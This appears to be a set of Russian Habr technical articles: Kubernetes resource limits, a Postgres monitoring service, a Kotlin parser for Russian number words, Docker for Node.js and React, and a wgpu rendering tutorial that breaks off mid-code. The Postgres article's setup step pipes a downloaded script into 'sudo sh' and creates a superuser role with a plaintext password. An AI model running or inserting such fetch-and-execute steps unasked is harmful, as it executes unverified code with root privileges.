Как и в случае с памятью, это наихудший сценарий. Планировщик не знает, сколько ресурсов нужно вашему контейнеру, и это может вызвать серьезные проблемы на ноде. Чтобы этого избежать, нужно устанавливать ограничения по умолчанию для пространств имен (LimitRange).
Помните: если вы запросите больше CPU, чем могут предоставить ноды, то Pod не будет запланирован. `Requests.cpu` — не минимальное значение, а значение, достаточное для запуска Pod и работы без сбоев. Если приложение не выполняет сложных вычислений, лучший вариант — установить `request.cpu <= 1` и запустить столько реплик, сколько необходимо.
Идеальное количество запрошенных ресурсов или лимита ресурсов
-------------------------------------------------------------
Мы узнали об ограничении вычислительных ресурсов. Теперь пришло время ответить на вопрос: «Сколько ресурсов требуется моему Pod для работы приложения без проблем? Какое количество идеальное?».
К сожалению, на эти вопросы нет однозначных ответов. Если вы не знаете, как работает ваше приложение, сколько CPU или памяти ему нужно, лучший вариант — дать приложению много памяти и CPU, а затем запустить тесты производительности.
Помимо тестов производительности, в течение недели наблюдайте за поведением приложения в мониторинге. Если из графиков следует, что ваше приложение потребляет меньше ресурсов, чем вы запрашивали, то можно уменьшить количество запрошенного CPU или памяти.
В качестве примера посмотрите этот [дашборд Grafana](https://grafana.com/grafana/dashboards/7187). Он отображает разницу между запрошенными ресурсами или лимитом ресурсов и текущим использованием ресурсов.
Заключение
----------
Запрос и ограничение ресурсов помогают поддерживать работоспособность кластера Kubernetes. Правильная конфигурация лимитов сводит к минимуму затраты и постоянно поддерживает приложения в рабочем состоянии.
Если вкратце, то нужно помнить о нескольких моментах:
1. Запрашиваемые ресурсы — конфигурация, которая учитывается во время запуска (когда Kubernetes планирует размещение приложения). Напротив, ограничение ресурсов важно во время работы — когда приложение уже запущено на узле.
2. По сравнению с памятью, CPU — регулируемый ресурс. В случае нехватки CPU ваш Pod не завершит работу, включится механизм троттлинга.
3. Запрашиваемые ресурсы и лимит ресурсов — это не минимальные и максимальные значения! Определяя запрашиваемые ресурсы, вы гарантируете, что приложение будет работать без проблем.
4. Хорошая практика — устанавливать запрос памяти, равный лимиту памяти.
5. Хорошо устанавливать запрошенный `CPU <=1`, если приложение не выполняет сложных вычислений.
6. Если вы запросите больше ресурсов, чем есть на ноде, то Pod никогда не будет запланирован на эту ноду.
7. Чтобы определить правильное количество запрошенных ресурсов/лимитов ресурсов, используйте нагрузочное тестирование и мониторинг.
Надеюсь, эта статья поможет вам понять основную концепцию ограничения ресурсов. И вы сможете применить эти знания в своей работе.
Успехов!
**Что еще почитать:**
1. [Наблюдаемость SRE: пространства имен и структура метрик](https://habr.com/ru/company/mailru/blog/500504/).
2. [90+ полезных инструментов для Kubernetes: развертывание, управление, мониторинг, безопасность и не только](https://mcs.mail.ru/blog/poleznye-instrumenty-dlya-kubernetes).
3. [Наш канал Вокруг Kubernetes в Телеграме](https://tele.click/k8s_mail).
|
https://habr.com/ru/post/516014/
| null |
ru
| null |
# У нас там Postgres, но я хз что с ним делать (с)
Это цитата одного из моих знакомых который когда-то давно обращался ко мне с вопросом про Postgres. Тогда мы за пару дней порешали его проблему и поблагодарив меня он добавил: "Хорошо, когда есть знакомый DBA".
Но что делать если нет знакомого DBA? Вариантов ответа может быть довольно много, начиная от поискать среди друзей друзей и заканчивая до изучить вопрос самостоятельно. Но какой бы ответ не пришел к вам в голову, у меня для вас хорошая новость. В тестовом режиме мы запустили сервис рекомендаций для Postgres и всего что вокруг него. Что это такое и как мы докатились до жизни такой
Зачем это всё?
--------------
Postgres это как минимум не просто, а иногда и очень сложно. Зависит от степени вовлеченности и ответственности.
Тем кто в operations нужно следить за тем чтоб Postgres как сервис работал исправно и стабильно - следить за утилизацией ресурсов, за доступностью, за адекватностью конфигурации, периодически проводить обновления и регулярные проверки здоровья. Тем кто в разработке и пишет приложения, в общих чертах нужно следить за тем как приложение взаимодействует с базой и что оно не создает аварийных ситуаций которые могли бы обрушить базу. Если человеку не повезло настолько что он техлид/техдир, то ему важно чтобы Postgres в целом работал надежно, предсказуемо и не создавал проблем, при это желательно самому не погружаться в Postgres глубоко и надолго.
В любом из этих случаев есть ты и Postgres. Чтобы хорошо обслуживать Postgres в нем нужно неплохо разбираться и представлять как он устроен. Если Postgres не является прямой специализацией, то на его изучение можно потратить довольно много времени. В идеальном случае когда есть время и желание, то не всегда понятно с чего начать, как и куда двигаться.
Даже если обложиться мониторингом, который по идее должен облегчить эксплуатацию, вопрос экспертных знаний остается открытым. Чтобы уметь читать и понимать графики нужно все также иметь хорошее представление о том как устроен Postgres. В противном случае любой мониторинг превращается в невеселые картинки и спам от алертов в случайное время суток.
[Weaponry](https://weaponry.io) как раз сделан для того, чтобы облегчить эксплуатацию Postgres. Сервис собирает и анализирует данные о Postgres'е и дает рекомендации о том что можно улучшить.
*Основная цель сервиса это давать понятные рекомендации, которые дают представление о том что происходит и что нужно делать дальше.*
Для специалистов у которых нет экспертных знаний, рекомендации дают отправную точку для повышения квалификации. Продвинутым специалистам рекомендации указывают на те моменты на которые следует обратить внимание. В этом плане Weaponry выступает в роли помощника который выполняет рутинные задачи по поиску проблем или недостатков и требуют отдельного внимания. Weaponry можно сравнить с линтером который проверяет Postgres и указывает на недостатки.
Как обстоят дела сейчас
-----------------------
На данный момент [Weaponry](https://weaponry.io) находится в тестовом режиме и на бесплатной основе, регистрация пока временно ограничена. Совместно с несколькими добровольцами допиливаем движок рекомендаций на около-боевых базах, выявляем ложные срабатывания и работаем над текстом рекомендаций.
К слову рекомендации пока довольно прямолинейные - просто говорят что и как делать, без дополнительных подробностей - так что первое время придется переходить по сопутствующим ссылкам, либо догугливать. Проверки и рекомендации охватывают настройки системы и оборудования, настройки самого Postgres, схему внутри, используемые ресурсы. В планах еще довольно много вещей которые нужно добавить.
Ну и конечно мы находимся в поиске добровольцев которые готовы попробовать сервис и дать обратную связь. Еще у нас есть [демо](https://demo.weaponry.io), можно зайти и посмотреть. Если вы поняли что вам такое надо и готовы попробовать, то пишите нам на [почту](mailto:[email protected]).
Updated 2020-09-16. Getting started.
------------------------------------
После регистрации пользователю предлагается создать проект - который позволяет объединять инстансы БД в группы. После создания проекта пользователь направляется в инструкцию по настройке и установке агента. Если в двух словах, то нужно создать пользователей для агента, после чего скачать скрипт установки агента и запустить его. В shell командах это выглядит примерно так:
```
psql -c "CREATE ROLE pgscv WITH LOGIN SUPERUSER PASSWORD 'A7H8Wz6XFMh21pwA'"
export PGSCV_PG_PASSWORD=A7H8Wz6XFMh21pwA
curl -s https://dist.weaponry.io/pgscv/install.sh |sudo -E sh -s - 1 6ada7a04-a798-4415-9427-da23f72c14a5
```
Если на хосте есть pgbouncer, то для подключения агента также потребуется создать пользователя. Конкретный способ настройки юзера в pgbouncer может быть очень вариативным и сильно зависит от используемой конфигурации. В общих чертах настройка сводится к добавлению юзера в *stats\_users* файла конфигурации (обычно это *pgbouncer.ini*) и прописывании пароля (или его хэша) в файл указанный в параметре *auth\_file.* При изменении stats\_users потребуется рестарт pgbouncer.
Скрипт install.sh принимает пару обязательных аргументов которые уникальны для каждого проекта, и через переменные окружения принимает реквизиты созданных юзеров. Далее скрипт запускает агента в bootstrap режиме - агент копирует себя в PATH, создает конфиг с реквизитами, systemd юнит и запускается как systemd сервис.
На этом установка заканчивается. В течение пары минут инстанс БД появится в списке хостов в интерфейсе и можно уже смотреть первые рекомендации. Но важный момент, многие рекомендации требуют большого количества накопленных метрик (хотя бы за сутки).
|
https://habr.com/ru/post/519240/
| null |
ru
| null |
# Распознаем числа в тексте
Кому может быть полезна эта статья?
Извращенцам делающим NLP на Java? Или может быть для обучения?
Хотя зачем эти оправдания? Весь код был написан *because we can.*Под катом мы рассмотрим как превращать числа вида *"Двенадцать тысяч шестьсот пятьдесят девять целых четыре миллионных"* в форму вроде *12 659, 000 004.*
Русский язык обладает встроенными алиасами для некоторых чисел. Их мы будем с переводить в последовательность обычных чисел. Для этого составим словарь псевдонимов:
```
0 ноль нуль
1 один
2 два
3 три
4 четыре
5 пять
6 шесть
7 семь
8 восемь
9 девять
11 одиннадцать
12 двенадцать дюжина
13 тринадцать
14 четырнадцать
15 пятнадцать
16 шестнадцать
17 семнадцать
18 восемнадцать
19 девятнадцать
20 двадцать
30 тридцать
40 сорок
50 пятьдесят
60 шестьдесят
70 семьдесят
80 восемьдесят
90 девяносто
200 двести
300 триста
400 четыреста
500 пятьсот
600 шестьсот
700 семьсот
800 восемьсот
900 девятьсот
0.00000000001 стомиллиардный
0.0000000001 десятимиллиардный
0.000000001 миллиардный
0.00000001 стомиллионный
0.0000001 десятимиллионный
0.000001 миллионный
0.00001 стотысячный
0.0001 десятитысячный
0.001 тысячный
0.01 сотый
0.1 десятый
10 десять
100 сто
1000 тысяча
1000000 миллион
1000000000 миллиард
1000000000000 триллион
1000000000000000 квадриллион
1000000000000000000 квинтиллион
1000000000000000000000 секстиллион
1000000000000000000000000 септиллион
1000000000000000000000000000 октиллион
```
Чтобы прочитать словарь из ресурсов в память, нам потребуется такой код на Kotlin:
```
{}.javaClass.getResourceAsStream("/dictionary")!!
.bufferedReader()
.readLines()
.flatMap { line ->
val aliases = line.split(' ')
val number = aliases.first().toDouble()
aliases.drop(1).map { Pair(it, number) }
}.toMap()
```
Некоторая сложность этого кода обусловлена теоретической возможностью наличия двух и более псеводонимов для одного числа.
Теперь настало время выхода на сцену [токенайзера](https://github.com/demidko/tokenizer) и [морфологического словаря.](https://github.com/demidko/aot)
Подключив их, мы можем вытащить из любой строки последовательность наших чисел в любых разрешенных русским языком склонениях:
```
val integerPart = mutableListOf()
val fractionalPart = mutableListOf()
var currentPart = integerPart
for (token in words) {
if (integerPart.isNotEmpty() && token.lowercase() in separators) {
currentPart = fractionalPart
continue
}
val number =
lookupForMeanings(token)
.run {
firstOrNull { it.partOfSpeech == Numeral || it.partOfSpeech == OrdinalNumber }
?: getOrNull(0)
}
?.lemma
?.toString()
?.let(numbers::get)
if (number != null) {
currentPart += number
continue
}
if (currentPart.isNotEmpty()) {
break
}
}
```
Код ужасно мутабельный, но как сделать лучше пока не придумал. После этого нам остается только склеить последовательность обычных чисел в одно. Это самое простое, пока число в последовательности меньше следующего, то умножаем, а когда следующее становится меньше предыдущего, то складываем островки умножений.
```
private fun List.join(): Double {
var tokensSum = 0.0
var previousToken = first()
for (currToken in drop(1)) {
if (currToken > previousToken) {
previousToken \*= currToken
} else {
tokensSum += previousToken
previousToken = currToken
}
}
return tokensSum + previousToken
}
```
Пришло время тестов нашей чудо-библиотеки!
```
@Test
fun parseRussianDouble() {
assertThat("Двенадцать тысяч шестьсот пятьдесят девять целых четыре миллионных".parseRussianDouble())
.isEqualTo(12659.000004)
assertThat("Десять тысяч четыреста тридцать четыре".parseRussianDouble())
.isEqualTo(10434.0)
assertThat("Двенадцать целых шестьсот пятьдесят девять тысячных".parseRussianDouble())
.isEqualTo(12.659)
assertThat("Ноль целых пятьдесят восемь сотых".parseRussianDouble())
.isEqualTo(0.58)
assertThat("Сто тридцать пять".parseRussianDouble())
.isEqualTo(135.0)
}
```
Если вам интересно, как сделать, чтобы метод *.parseToRussianDouble* появился для всех строк в вашем Kotlin (или Java) проекте, то вам нужно просто подключить пару строчек в вашей системе сборки:
<https://jitpack.io/#demidko/chisla/2021.10.30>
В качестве демонстрации еще одной возможности библиотеки приведу кусочек кода:
```
"Я хотел передать ему сто тридцать пять яблок".parseRussianDouble()
// 135
```
[Исходный код библиотеки доступен на GitHub](https://github.com/demidko/chisla).
Критика, вопросы, пожелания, принимаются в issues или в комментариях под статьей.
|
https://habr.com/ru/post/586466/
| null |
ru
| null |
# Как использовать Docker в приложениях Node.js и React
В этой статье поговорим о том, как разработать и запустить бэкэнд на Node.js-Express и фронтенд на React в контейнере Docker.
Published in
JavaScript in PlainDocker дает разработчикам возможность помещать свои приложения в контейнеры. Эти контейнеры могут работать на любом устройстве, на котором установлен Docker, и приложения будут идентичны. С помощью этого сервиса можно клонировать кодовую базу на нескольких системах – везде будет одинаковый результат.
В рабочих процессах CI/CD и средах тестирования DevOps широко используется Docker: по сути, он представляет собой набор программных инструментов, которые можно использовать совместно. Kubernetes — это инструмент, который используется для работы с несколькими контейнерами Docker, но в гораздо большем масштабе.
Разберём, как разработать и запустить бэкэнд на Node.js-Express и фронтенд на React внутри контейнера Docker.
Запуск бэкенда на Node.js-Express в Docker
------------------------------------------
Когда убедились, что на компьютере установлен и запущен Docker, переходим к следующему шагу.
Используя командную строку, переходим в каталог, например на рабочий стол, а затем выполняем следующие команды.
```
mkdir my-app-docker
cd my-app-docker
touch docker-compose.yml
mkdir api
cd api
npm init -y
npm i express
touch app.js Dockerfile .dockerignore
cd ..
```
Мы настроили серверную часть – api и создали несколько файлов Docker. Теперь откройте проект в редакторе кода и добавьте приведенный ниже код в соответствующие файлы.
Это нужно поместить в файл docker-compose.yml. Обращайте внимание на форматирование YAML, иначе при запуске Docker выдаст ошибку.
```
version: '3.8'
services:
api:
build: ./api
container_name: api_backend
ports:
- '4000:4000'
volumes:
- ./api:/app
- ./app/node_modules
```
Следующий код нужно добавить в файл app.js:
```
const express = require('express');
const app = express();
const port = process.env.PORT || 4000;
app.get('/', (req, res) => {
res.send('Home Route');
});
app.listen(port, () =>
console.log(`Server running on port ${port}, http://localhost:${port}`)
);
```
Эту строку – в файл .dockerignore :
```
node_modules
```
Этот код – в файл Dockerfile:
```
FROM node:16-alpine
WORKDIR /app
COPY package.json .
RUN npm install
COPY . .
EXPOSE 4000
CMD ["node", "app.js"]
```
Наконец, в файл package.json:
```
"scripts": {
"start": "node app.js"
},
```
Использование Nodemon для автоматического перезапуска сервера при внесении изменений.
-------------------------------------------------------------------------------------
Если вы хотите, чтобы сервер перезагружался каждый раз, когда вы вносите изменения в файлы в бэкэнде, вы можете настроить его на использование Nodemon. Вам нужно лишь обновить файлы Dockerfile и package.json внутри папки api.
Обновите файл Dockerfile, используя приведенный ниже код. Мы установим Nodemon при запуске и используем dev в качестве команды запуска.
```
FROM node:16-alpine
RUN npm install -g nodemon
WORKDIR /app
COPY package.json .
RUN npm install
COPY . .
EXPOSE 4000
CMD ["npm", "run", "dev"]
```
Добавьте в файл package.json скрипт для Nodemon.
```
"scripts": {
"start": "node app.js",
"dev": "nodemon -L app.js"
},
```
Мы только что создали базовое приложение Node.js-Express, которое работает на порте 4000. Этот порт также связан с 4000 в Docker, что позволяет нам запускать его в Docker-контейнере.
Запуск серверов
---------------
Чтобы запустить сервер вне контейнера Docker как обычно на Node, просто запустите приведенный ниже код в командной строке. Вы должны быть уверены, что находитесь внутри папки api. Если вы перейдете на http://localhost:4000, вы должны увидеть основной пусть (home route) в окне браузера.
```
npm run start
```
Для запуска приложения Node.js-Express внутри Docker требуется другая команда. Во-первых, вам нужно находиться в корневой папке, где находится файл docker-compose.yml. Теперь запустите приведенную ниже команду, и она должна работать внутри контейнера Docker.
Важно отследить, что сервер узла не запущен, потому что на порте 4000 может работать только один сервер.
```
docker-compose up
```
По адресу http://[localhost](http://localhost:4000/):4000 вы должны видеть основной (домашний) путь.
Вы можете остановить сервер с помощью приведенной ниже команды либо перейти в приложение Docker и остановить запуск контейнера.
```
docker-compose down
```
Запуск фронтенда на React в Docker
----------------------------------
Теперь давайте создадим фронтенд на React. Используя командную строку, переместитесь в корневую папку для my-app-docker. Запустите приведенные ниже команды, чтобы настроить проект.
```
npx create-react-app client
cd client
touch .dockerignore Dockerfile
```
Теперь добавьте код ниже в соответствующие файлы.
Эту строку – в файл .dockerignore .
```
node_modules
```
Этот код – в файл Dockerfile .
```
FROM node:17-alpine
WORKDIR /app
COPY package.json .
RUN npm install
COPY . .
EXPOSE 3000
CMD ["npm", "start"]
```
Наконец, добавьте в файл docker-compose.yml в корневой папке приведенный ниже код. Таким образом мы добавили клиентский раздел внизу с настройками для запуска React внутри контейнера Docker. Обращайте внимание на форматирование YAML, иначе при запуске Docker выдаст ошибку.
```
version: '3.8'
services:
api:
build: ./api
container_name: api_backend
ports:
- '4000:4000'
volumes:
- ./api:/app
- ./app/node_modules
client:
build: ./client
container_name: client_frontend
ports:
- '3000:3000'
volumes:
- ./client:/app
- ./app/node_modules
stdin_open: true
tty: true
```
Чтобы запустить сервер вне контейнера Docker как обычно на Node, запустите приведенный ниже код в командной строке. Убедитесь, что вы находитесь внутри папки клиента. По адресу http://localhost:3000 вы должны увидеть основной (домашний) путь в окне браузера.
```
npm run start
```
Для запуска приложения React внутри Docker требуется другая команда. Во-первых, вам нужно находиться в корневой папке, где расположен файл docker-compose.yml. Теперь запустите приведенную ниже команду, и она должна работать внутри контейнера Docker.
Важно отследить, что сервер приложения React не запущен, потому что на порте 3000 может работать только один сервер.
```
docker-compose up
```
По адресу <http://localhost:3000> вы должны увидеть основной (домашний) путь в окне браузера.
Вы можете остановить сервер с помощью приведенной ниже команды либо перейти в приложение Docker и остановить запуск контейнера.
```
docker-compose down
```
С такими настройками вы можете одновременно запускать бэкенд Node.js и фронтенд React внутри Docker. Если вы столкнулись с какими-либо ошибками, возможно, поможет открыть настольное приложение Docker и удалить все образы, связанные с этим проектом. Затем попробуйте снова запустить команду docker-compose up – на этот раз все должно работать как положено.
Надеемся, этот перевод был для вас полезен!
|
https://habr.com/ru/post/680382/
| null |
ru
| null |
# Основы рендеринга с wgpu на Rust
В данной статье мы рассмотрим базовую теорию и практику рендеринга с помощью кроссплатформенного графического API [wgpu](https://wgpu.rs/). Данный API основан на стандарте [WebGPU](https://gpuweb.github.io/gpuweb/) и предоставляет удобные, унифицированные и безопасные абстракции для взаимодействия с GPU. Используя wgpu мы инициализируем графическое устройство, создадим графический конвейер и нарисуем треугольник.
Немного подробнее
-----------------
Под капотом wgpu использует для взаимодействия с GPU нативные (компилируемые под конкретную платформу) графические API: Vulkan, OpenGLES, D3D11, D3D12, Metal. А также работает под WASM на базе WebGPU API. Общая архитектура представлена на картинке:
Основной интерес представляют следующие элементы схемы:
* wgpu-core - внутренняя реализация стандарта WebGPU для нативных платформ.
* wgpu-hal - абстракция над указанными на схеме графическими API.
* naga - инструмент для работы с шейдерами.
* Жёлтым цветом выделены инструменты для взаимодействия WASM кода с JavaScript.
Создание проекта
----------------
Для начала создадим приложение Rust с помощью команды:
```
cargo new --bin wgpu_first_steps
```
Теперь можно начинать писать код.
Создание окна
-------------
Прежде чем браться за рендер, необходимо создать поверхность, на которую будет выводиться наше изображение. Для этого будем использовать крейт winit, позволяющий писать кроссплатформенный код для создания окон и цикла обработки событий ОС.
Добавим winit в Cargo.toml файл и напишем код создания окна и простого цикла обработки событий:
```
use winit::dpi::PhysicalSize;
use winit::event::{Event, WindowEvent};
use winit::event_loop::{ControlFlow, EventLoop};
use winit::window::{Window, WindowBuilder};
fn main() {
// Создадим цикл обработки событий.
let event_loop = EventLoop::new();
let window_size: PhysicalSize = (800, 600).into();
// Создадим окно, задав его параметры.
let window = WindowBuilder::new()
.with\_fullscreen(None)
.with\_inner\_size(window\_size)
.with\_title("wgpu first steps")
.build(&event\_loop)
.unwrap();
// Запустим цикл обработки событий, передав в него замыкание,
// которое будет выполнятся на кождой итерации цикла.
event\_loop.run(move |event, \_, control\_flow| {
// Будем попадать в тело цикла только при появлении события ОС.
\*control\_flow = ControlFlow::Wait;
match event {
// Если обработаны все накопившиеся события - перерисовываем содержимое окна.
Event::MainEventsCleared => {
// todo: код рендера
}
// Если было запрошено закрытие окна, завершаем цикл.
Event::WindowEvent {
event: WindowEvent::CloseRequested,
..
} => {
\*control\_flow = ControlFlow::Exit;
}
// Остальные события нам не интересны.
\_ => {}
}
})
}
```
Теперь, при запуске мы увидим пустое окно:
Инициализация устройства
------------------------
Теперь нам нужно инициализировать экземпляр графического API и запросить у него графическое устройство.
Для инициализации экземпляра графического API, добавим wgpu в Cargo.toml и дополним код:
```
// Создание экземпляра графического API.
let instance = wgpu::Instance::new(wgpu::Backends::all());
```
В функцию new() передаётся набор API (Vulkan, D3D11, WebGPU, ...), которые мы позволим wgpu использовать на нижнем уровне. В нашем случае, передадим все возможные бэкенды, а библиотека сама выберет наиболее подходящий для системы, на которой будет запущено приложение.
Далее, создадим поверхность для отображения, используя созданное ранее окно.
```
// Создаём поверхность для отображения.
let surface = unsafe { instance.create_surface(&window) };
```
Создание окна - это единственная небезопасная операция в wgpu. Это связано с тем, что wgpu не может контролировать время жизни окна. Например, если окно будет закрыто, а мы попытаемся что-то в нём отобразить, то мы получим undefined behavior.
Теперь можно запросить графический адаптер, способный рисовать на созданной поверхности. Запрос адаптера - асинхронная операция, которая может занять некоторое время. В некоторых случаях может потребоваться выполнять её без блокировки основного потока. Для нашего примера в этом нет нужды, поэтому просто заблокируем поток до получения устройства. Для этого используем крейт pollster. Добавим следующий код:
```
// Задаём желаемые параметры графического устройства
let adapter_options = wgpu::RequestAdapterOptions {
compatible_surface: Some(&surface),
..Default::default()
};
// Запрос устройства - асинхронная операция.
let adapter_future = instance.request_adapter(&adapter_options);
// Дождёмся её завершения с помощью pollster.
let adapter = pollster::block_on(adapter_future).unwrap();
// Выведем в терминал название выбранного устройства.
println!("Selected adapter: {}", adapter.get_info().name);
```
Скорее всего, в результате будет выбрано интегрированный графический адаптер (если такой имеется). Дополнительные критерии выбора устройства можно задать в виде полей структуры wgpu::RequestAdapterOptions. В нашем примере подойдёт любое устройство.
Теперь, выбрав адаптер, можем создать логическое устройство.
```
// Зададим параметры устройства по умолчанию.
let device_descriptor = wgpu::DeviceDescriptor::default();
// Запрос устройства - асинхронная операция.
let device_future = adapter.request_device(&device_descriptor, None);
// Получаем логическое устройство и очередь задач для него.
let (device, queue) = pollster::block_on(device_future).unwrap();
```
Логическое устройство будет в дальнейшем использовано для создания объектов, позволяющих рисовать. Очередь задач, как понятно из названия, будет использована для отправки команд рендеринга на графическое устройство.
Графический конвейер
--------------------
Для преобразования данных (например, 3D модели) в изображение, графические устройства пропускают их через графический конвейер. Графический конвейер состоит из нескольких этапов обработки данных: от точек в некотором виртуальном пространстве до пикселей на изображении. Некоторые из этапов можно конфигурировать, а некоторые - даже программировать. Пользовательская программа, выполняющаяся на одном из этапов конвейера графическим процессором, называется шейдер.
На изображении, в упрощенном виде, представлены этапы графического конвейера:
1. Vertex Shader - это программа, которая вызывается для каждой вершины геометрии, переданной для рендеринга. Данная программа, обычно, используется для позиционирования объектов на экране.
2. Shape Assembly преобразует отдельные вершины в фигуры, из которых состоит поверхность геометрии.
3. Geometry Shader позволяет производить манипуляции на уровне фигур. Например, порождать новые. Этот этап используется редко, хотя и позволяет реализовать некоторые интересные техники рендеринга.
4. Rasterization - преобразование фигур во фрагменты (пиксели) финального изображения.
5. Fragment Shader - это программа, которая вызывается для каждого фрагмента, полученного на предыдущем этапе. Обычно в ней задают цвет этим фрагментам с учётом текстур и освещения.
6. Tests and Blending - этап отвечающий за проверку глубины и смешение цветов фрагментов разных фигур, положение которых совпало. Проверка глубины, обычно, используется для того, чтобы модель на переднем плане не оказалось перекрыта другой моделью, которая должна находится на заднем плане.
Давайте создадим простейший графический конвейер, который позволит нам отрисовать треугольник. Для этого нам потребуется написать два шейдера: Vertex Shader и Fragment Shader. Geometry Shader не поддерживается wgpu из соображений кроссплатформенности. Хотя wgpu поддерживает несколько языков для написания шейдеров, основным для него является wgsl. Его мы и будем использовать.
Нам требуется вершинный шейдер, который, по команде отрисовки трёх вершин, вернёт три вершины треугольника. Вершины должны быть заданы в следующей системе координат:
Fragment shader, в свою очередь, должен окрасить каждый фрагмент треугольника в какой-нибудь цвет.
Создадим файл shader.wgsl и опишем в нём оба шейдера:
```
[[stage(vertex)]] // Атрибут указывает что функция относится к вершинному шейдеру.
// Функция принимает индекс (порядковый номер) вершины и возвращает её положение на экране.
fn vs_main([[builtin(vertex_index)]] in_vertex_index: u32) -> [[builtin(position)]] vec4 {
// Здесь применим небольшой математический трюк.
// Чтобы не подгружать точки треугольника извне, рассчитаем их координаты
// исходя из порядкового номера.
let x = f32(i32(in\_vertex\_index) - 1); // f32() и i32() - преведение типов.
let y = f32(i32(in\_vertex\_index & 1u) \* 2 - 1);
// Легко убедиться, что индексы [0, 1, 2]
// преобразуются в вершины с координатами [(-1,-1), (0,1), (1,-1)].
// Возвращаем позицию вершины
return vec4(x, y, 0.0, 1.0);
}
[[stage(fragment)]] // Атрибут указывает что функция относится к фрагментному шейдеру.
// Функция не принимает ничего, а возвращает цвет фрагмента.
fn fs\_main() -> [[location(0)]] vec4 {
// Возвращаем красный цвет для каждого фрагмента нашего треугольника.
return vec4(1.0, 0.0, 0.0, 1.0);
}
```
Теперь можно загрузить этот код в наше приложение и загрузить шейдер на устройство, получив при этом объект, который идентифицирует этот шейдер:
```
// Включим код шейдера в исполняемый файл с помощью макроса include_str.
let shader_code = include_str!("../shader.wgsl");
// Создадим объект шейдера из его кода.
let descriptor = wgpu::ShaderModuleDescriptor {
label: None, // метку для отладки оставим не заданной
source: wgpu::ShaderSource::Wgsl(shader_code.into()),
};
let shader_module = device.create_shader_module(&descriptor);
```
Наконец, создадим графический конвейер:
```
// Определим, какой формат изображения лучше всего подходит для выбранного адаптера.
let surface_format = surface.get_preferred_format(&adapter).unwrap();
// Зададим параметры целевого изображения. В нашем случае - поверхности в окне.
let color_targets = [wgpu::ColorTargetState { // Параметры цели для отрисовки.
format: surface_format, // Формат целевого изображения.
blend: None, // Смешение цветов не используем.
write_mask: Default::default(), // Пишем во все каналы RGBA.
}];
// Параметры графического конвейера оставим, в основном, по умолчанию.
let descriptor = wgpu::RenderPipelineDescriptor {
label: None, // Метку для отладки оставим не заданной.
primitive: Default::default(), // Создание фигур из вершин - по умолчанию.
vertex: wgpu::VertexState { // Параметры вершинного шейдера.
buffers: &[], // Буффер с данными о вершинах не используется.
module: &shader_module, // Идентификатор нашего шейдера.
entry_point: "vs_main" // Имя функции, которая будет вызываться для вершин.
},
fragment: Some(wgpu::FragmentState { // Параметры фрагментного шейдера.
targets: &color_targets, // Параметры целевого изображения.
module: &shader_module, // Идентификатор нашего шейдера.
entry_point: "fs_main", // Имя функции, которая будет вызываться для фрагментов.
}),
layout: None, // Разметку для передачи внешних данных в шейдер не используем.
depth_stencil: None, // Тест глубины нам не нужен.
multisample: Default::default(), // Multisample по умолчанию отключен.
multiview: None, // Отображение будет происходить только в одно изображение.
};
let pipeline = device.create_render_pipeline(&descriptor);
```
Осталось настроить поверхность в соответствии с параметрами окна:
```
// Настроим поверхность в соотвитствии с параметрами окна:
let config = wgpu::SurfaceConfiguration {
usage: wgpu::TextureUsages::RENDER_ATTACHMENT, // Будем использовать surface для рендера.
format: surface_format, // Формат, который мы выбрали ранее.
width: window_size.width, // Ширина окна.
height: window_size.height, // Высота окна.
present_mode: wgpu::PresentMode::Mailbox, // Алгоритм вывода кадров на экран.
};
surface.configure(&device, &config);
```
Полный код нашего приложения выглядит так:
```
use winit::dpi::PhysicalSize;
use winit::event::{Event, WindowEvent};
use winit::event_loop::{ControlFlow, EventLoop};
use winit::window::WindowBuilder;
fn main() {
// Создадим цикл обработки событий.
let event_loop = EventLoop::new();
let window_size: PhysicalSize = (800, 600).into();
// Создадим окно, задав его параметры.
let window = WindowBuilder::new()
.with\_fullscreen(None)
.with\_inner\_size(window\_size)
.with\_title("wgpu first steps")
.build(&event\_loop)
.unwrap();
// Создание экземпляра графического API.
let instance = wgpu::Instance::new(wgpu::Backends::all());
// Создаём поверхность для отображения.
let surface = unsafe { instance.create\_surface(&window) };
// Задаём желаемые параметры графического устройства
let adapter\_options = wgpu::RequestAdapterOptions {
compatible\_surface: Some(&surface),
..Default::default()
};
// Запрос адаптера - асинхронная операция.
let adapter\_future = instance.request\_adapter(&adapter\_options);
// Дождёмся её завершения с помощью pollster.
let adapter = pollster::block\_on(adapter\_future).unwrap();
// Выведем в терминал название выбранного адаптера.
println!("Selected adapter: {}", adapter.get\_info().name);
// Зададим параметры устройства по умолчанию.
let device\_descriptor = wgpu::DeviceDescriptor::default();
// Запрос устройства - асинхронная операция.
let device\_future = adapter.request\_device(&device\_descriptor, None);
// Получаем логическое устройство и очередь задач для него.
let (device, queue) = pollster::block\_on(device\_future).unwrap();
// Включим код шейдера в исполняемый файл с помощью макроса include\_str.
let shader\_code = include\_str!("../shader.wgsl");
// Создадим объект шейдера из его кода.
let descriptor = wgpu::ShaderModuleDescriptor {
label: None, // Метку для отладки оставим не заданной.
source: wgpu::ShaderSource::Wgsl(shader\_code.into()),
};
let shader\_module = device.create\_shader\_module(&descriptor);
// Определим, какой формат изображения лучше всего подходит для выбранного адаптера.
let surface\_format = surface.get\_preferred\_format(&adapter).unwrap();
// Зададим параметры целевого изображения. В нашем случае - поверхности в окне.
let color\_targets = [wgpu::ColorTargetState { // Параметры цели для отрисовки.
format: surface\_format, // Формат целевого изображения.
blend: None, // Смешение цветов не используем.
write\_mask: Default::default(), // Пишем во все каналы RGBA.
}];
// Параметры графического конвейера оставим, в основном, по умолчанию.
let descriptor = wgpu::RenderPipelineDescriptor {
label: None, // Метку для отладки оставим не заданной.
primitive: Default::default(), // Создание фигур из вершин - по умолчанию.
vertex: wgpu::VertexState { // Параметры вершинного шейдера.
buffers: &[], // Буффер с данными о вершинах не используется.
module: &shader\_module, // Идентификатор нашего шейдера.
entry\_point: "vs\_main" // Имя функции, которая будет вызываться для вершин.
},
fragment: Some(wgpu::FragmentState { // Параметры фрагментного шейдера.
targets: &color\_targets, // Параметры целевого изображения.
module: &shader\_module, // Идентификатор нашего шейдера.
entry\_point: "fs\_main", // Имя функции, которая будет вызываться для фрагментов.
}),
layout: None, // Разметку для передачи внешних данных в шейдер не используем.
depth\_stencil: None, // Тест глубины нам не нужен.
multisample: Default::default(), // Multisample по умолчанию отключен.
multiview: None, // Отображение будет происходить только в одно изображение.
};
let pipeline = device.create\_render\_pipeline(&descriptor);
// Настроим поверхность в соттвитствии с параметрами окна:
let config = wgpu::SurfaceConfiguration {
